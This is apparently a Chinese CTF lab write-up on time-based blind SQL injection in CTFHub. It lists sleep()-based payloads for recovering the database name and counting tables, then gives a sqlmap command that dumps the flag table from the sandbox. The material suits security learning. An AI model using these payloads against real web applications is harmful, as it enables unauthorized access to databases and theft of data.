CTFHUB技能树之SQL——时间盲注

开启靶场,打开链接:

说明这关对所有信息都做了统一输出,换成延时注入试试


输入:

1 and sleep(15)

(这里不知道为什么加上--+倒是会影响sleep()函数的触发,从而没有延时感)

可以观察到有明显的延时感,确定为时间盲注


(1)爆数据库名

先判断数据库名的长度:

1 and if(length(database())=x,sleep(15),1)

(x是数值1,2,3,4,...)

1 and if(length(database())=4,sleep(15),1)

说明数据库名长度是4


接下来就是判断数据库的各个字符了:

第一个字符:

1 and if(ascii(substr(database(),1,1))>110,sleep(15),1)

1 and if(ascii(substr(database(),1,1))=x,sleep(15),1)

(x是数值1,2,3,4,...)

第二个字符:

1 and if(ascii(substr(database(),2,1))=x,sleep(15),1)

(x是数值1,2,3,4,...)

后续得出数值是(115,113,108,105),即数据库名是sqli


(2)爆表名

先判断表的数量:

1 and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(15),1)

又出现了延时感,说明有两个表


接下来就是判断各个表的各个字符了:

先是第一个表的第一个字符:

1 and if(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1)='n',sleep(15),1)

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=110,sleep(15),1)

妈的,不知道为什么这里运行失败,后续手工注入的流程直接看本分组的《Time-based基于时间的盲注》就行了,我要直接用sqlmap跟它爆了


python sqlmap.py -u "http://challenge-1f7b2258309fbd18.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

得到flag:

ctfhub{3a4d69bf9ae1fc6bbd2f7d69}

相关推荐
Albert Tan28 分钟前
ORACLE DATABASE 23AI+Apex+ORDS -纯享版
数据库·oracle
程序员编程指南35 分钟前
Qt OpenGL 集成:开发 3D 图形应用
c语言·数据库·c++·qt·3d
婪苏(Python学习ing)2 小时前
MySQL 与 Redis 基础入门:从安装到核心操作
数据库
好心的小明2 小时前
【深度之眼机器学习笔记】04-01-决策树简介、熵,04-02-条件熵及计算举例,04-03-信息增益、ID3算法
笔记·算法·决策树
幻灭行度2 小时前
通过redis_exporter监控redis cluster
数据库·redis·缓存
Wang's Blog3 小时前
Nestjs框架: 基于Mongodb的多租户功能集成和优化
数据库·mongodb·多租户
Edingbrugh.南空3 小时前
Aerospike架构深度解析:打造web级分布式应用的理想数据库
数据库·架构
zhaoyang03014 小时前
vue3笔记(2)自用
前端·javascript·笔记
技术卷4 小时前
详解力扣高频SQL50题之1084. 销售分析 III【简单】
sql·leetcode·oracle